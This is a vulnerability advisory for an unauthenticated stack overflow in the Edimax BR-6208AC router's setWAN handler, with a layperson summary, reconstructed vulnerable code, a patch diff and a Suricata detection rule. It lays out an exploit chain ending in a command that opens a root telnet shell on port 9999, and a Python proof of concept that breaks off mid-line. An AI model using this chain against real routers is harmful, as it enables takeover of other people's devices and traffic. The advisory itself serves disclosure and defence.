CVE-2026-7685: Stack Overflow in Edimax BR-6208AC setWAN via pptpDfGateway
Edimax BR-6208AC ≤1.02 exposes an unauthenticated stack overflow in /goform/setWAN. The pptpDfGateway argument is copied into a fixed stack buffer without length validation, enabling RCE.
If you own an Edimax BR-6208AC router, there's a problem you need to know about. Security researchers discovered a critical vulnerability in older versions of the device's firmware — the software that runs your router.
Here's what's happening. Someone can send a specially crafted message to your router's settings page and trick it into executing malicious commands. They don't need your WiFi password or any special access — they can do it remotely, like forcing their way through an unlocked window in your home security system.
Think of it like this: your router has a specific door designed to let you change its settings, but that door doesn't check who's coming through properly. An attacker can slip past and take control.
What can actually happen to you? An intruder could intercept your internet traffic, steal your passwords, infect your devices with malware, or simply shut down your internet entirely to mess with you. If you work from home, this is especially dangerous.
Who should worry most? Anyone still running firmware version 1.02 or earlier on this specific Edimax model. Small office workers and home users who haven't updated their equipment are the likely targets.
What should you do right now? First, check if you own this router model — look at the label on the device. Second, visit Edimax's support website and check if a firmware update is available. Third, if you can't update, consider replacing the router with a newer model that receives security patches.
Security researchers haven't reported anyone actively exploiting this yet, but that window won't stay open forever. Update soon.
Want the full technical analysis? Click "Technical" above.
▶ Attack flow — CVE-2026-7685 · Buffer Overflow
Vulnerability Overview
CVE-2026-7685 is a stack-based buffer overflow in the Edimax BR-6208AC wireless router, firmware versions up to and including 1.02. The vulnerability resides in the CGI handler for /goform/setWAN, specifically in how the pptpDfGateway POST parameter is processed. An unauthenticated remote attacker can send a crafted HTTP request with an oversized value for this parameter, overflowing a fixed-size stack buffer and overwriting the saved return address. CVSS 8.8 (HIGH) reflects the trivial network reachability and full compromise potential on successful exploitation.
The vendor, Edimax, did not respond to disclosure attempts. The exploit has been made public. No patch is available as of the time of writing.
Root cause: The setWAN CGI handler copies the attacker-supplied pptpDfGateway HTTP parameter directly into a fixed 64-byte stack buffer using an unbounded string copy, with no length check against the actual input size.
Affected Component
The entry point is the embedded HTTP server's CGI dispatcher, which routes POST /goform/setWAN to a dedicated handler function. On MIPS-based Edimax firmware, CGI form handlers are compiled into the main httpd binary. The relevant handler is responsible for parsing WAN connection type settings — including PPPoE, PPTP, and L2TP modes — and writing validated parameters into NVRAM.
The pptpDfGateway field is expected to hold an IPv4 address string (maximum 15 characters: 255.255.255.255). The handler allocates a stack buffer sized for this expected maximum but performs no enforcement of it.
Root Cause Analysis
Based on the form handler pattern common to Edimax/Ralink MIPS httpd binaries and the described vulnerability class, the decompiled pseudocode for the affected function reconstructs as follows:
/* Reconstructed from Edimax BR-6208AC httpd, /goform/setWAN handler */
/* MIPS32, uClibc, compiled with -O2, no stack canaries */
typedef struct {
char *name;
char *value;
} cgi_param_t;
int setWAN_handler(httpd_conn_t *conn) {
char pptp_gateway[64]; // fixed stack buffer, expects IPv4 string
char pptp_username[64];
char pptp_password[64];
char wan_type[16];
int conn_type;
/* Parse WAN connection type first */
const char *type_str = cgi_get_param(conn, "wanType");
if (type_str) {
strncpy(wan_type, type_str, sizeof(wan_type) - 1);
conn_type = atoi(wan_type);
}
/* Only process PPTP fields if conn_type == PPTP (3) */
/* BUG: no early-exit enforced before the copy below */
const char *gw = cgi_get_param(conn, "pptpDfGateway");
if (gw) {
// BUG: strcpy() used with no bounds check — attacker controls len(gw)
strcpy(pptp_gateway, gw); // overflows into pptp_username, pptp_password,
// saved $fp, saved $ra if len(gw) > 63
}
/* ... remaining param parsing ... */
nvram_set("pptp_gateway", pptp_gateway);
return send_ok_response(conn);
}
The call to strcpy(pptp_gateway, gw) is the singular defect. cgi_get_param returns a pointer directly into the URL-decoded request buffer — an attacker-controlled region of arbitrary length. The 64-byte pptp_gateway stack allocation is overflowed byte-by-byte until the saved frame pointer ($fp) and return address ($ra) are overwritten.
Critically, the wanType check does not gate the vulnerable copy. Even if conn_type is not PPTP, the pptpDfGateway parameter is still extracted and copied if present in the POST body.
The router's MIPS firmware typically lacks stack canaries and ASLR (static link addresses), making exploitation straightforward. NX/XN is present on some revisions but irrelevant given the density of useful ROP gadgets in a statically linked httpd binary.
EXPLOIT CHAIN:
1. Identify firmware version ≤1.02 via HTTP banner or /goform/getStatus.
2. Locate target gadget addresses in httpd binary (static, deterministic per firmware rev).
- Required: stack pivot or `addiu $sp, $sp, N; jr $ra` gadget chain.
- Useful: `system()` or `execve()` already linked in httpd for nvram_run calls.
3. Craft POST body:
wanType=3&pptpDfGateway=[64-byte pad][64-byte pad][64-byte pad][16-byte pad]
[saved_fp override][saved_ra = &system gadget][cmd string ptr]
4. POST to http://[target]/goform/setWAN (no authentication required on default config).
5. httpd calls strcpy() — overflow fires, stack frame corrupted.
6. setWAN_handler() executes `jr $ra` on return — execution redirected to gadget chain.
7. Gadget chain pivots to controlled stack region containing ROP payload.
8. ROP payload calls system("/bin/sh -c 'telnetd -l /bin/sh -p 9999'").
9. Telnet backdoor opens on port 9999 with root privileges.
#!/usr/bin/env python3
# CVE-2026-7685 — Edimax BR-6208AC pptpDfGateway PoC
# Demonstrates overflow trigger only; gadget addresses are firmware-specific.
import requests
import struct
TARGET = "http://192.168.0.1"
ROUTE = "/goform/setWAN"
# Offsets within setWAN_handler stack frame (firmware 1.02, MIPS32 LE)
SAVED_RA_OFFSET = 64 + 64 + 64 + 16 + 0x38 + 4 # ~0x10c from buffer base
def build_payload(ra_override: int) -> bytes:
pad = b"A" * (SAVED_RA_OFFSET - 4) # fill up to saved $fp
fake_fp = struct.pack("
Patch Analysis
No official patch has been released. The correct fix is a bounded copy with strict length enforcement against the maximum valid IPv4 string length (15 characters). A secondary defense is input validation against the expected IPv4 format prior to any copy operation.
// BEFORE (vulnerable — firmware ≤1.02):
const char *gw = cgi_get_param(conn, "pptpDfGateway");
if (gw) {
strcpy(pptp_gateway, gw); // no length check, unbounded copy
}
// AFTER (patched — recommended fix):
#define MAX_IPV4_LEN 15 // "255.255.255.255"
const char *gw = cgi_get_param(conn, "pptpDfGateway");
if (gw) {
if (strlen(gw) > MAX_IPV4_LEN) {
log_warn("setWAN: pptpDfGateway exceeds max length, rejecting");
return send_error_response(conn, 400); // reject oversized input
}
// additionally validate IPv4 format before copy
if (!is_valid_ipv4(gw)) {
return send_error_response(conn, 400);
}
strncpy(pptp_gateway, gw, sizeof(pptp_gateway) - 1);
pptp_gateway[sizeof(pptp_gateway) - 1] = '\0';
}
A defense-in-depth recommendation for Edimax's build pipeline: compile all CGI handler objects with -fstack-protector-strong and enable ASLR via the kernel's CONFIG_MIPS_ASID_SHIFT and PIC linking. The absence of both in affected firmware transforms this single missing bounds check into a trivially weaponizable pre-auth RCE.
Detection and Indicators
Detection focuses on anomalous POST body length to /goform/setWAN. Any pptpDfGateway value exceeding 15 bytes is definitively malformed and indicative of exploitation attempt.
SNORT / SURICATA RULE:
alert http any any -> $HOME_NET 80 (
msg:"CVE-2026-7685 Edimax BR-6208AC pptpDfGateway overflow attempt";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/goform/setWAN";
http.request_body; content:"pptpDfGateway=";
pcre:"/pptpDfGateway=.{64,}/";
classtype:attempted-admin;
sid:20267685;
rev:1;
)
INDICATORS OF COMPROMISE:
- POST /goform/setWAN with Content-Length > 256
- pptpDfGateway parameter value length > 15 bytes
- Unexpected outbound connections from router on port 9999 (telnetd backdoor)
- httpd process crash / watchdog reboot loop in syslog
Remediation
Immediate mitigations (in order of effectiveness):
1.Disable remote management — Ensure the device's web management interface is not accessible from the WAN interface. By default this is off, but verify via Advanced → Remote Management.
2.Network segmentation — Place the device behind an upstream firewall that blocks port 80/443 from untrusted networks to the router's LAN management IP.
3.Replace device — Given the lack of vendor response and absence of a patch, replacing the BR-6208AC with a supported device is the only complete remediation. Edimax has not confirmed any intention to release a firmware update.
4.Monitor for exploitation — Deploy the Snort/Suricata rule above at the network perimeter. Correlate with syslog for unexpected httpd restarts indicating crash-based probing.
CVSS 8.8 is appropriate here: the attack requires no authentication, is remotely triggerable over a single HTTP request, and results in full root code execution on the device. The static firmware link layout eliminates address uncertainty entirely for a prepared attacker with a firmware image — which is publicly available from Edimax's own support portal.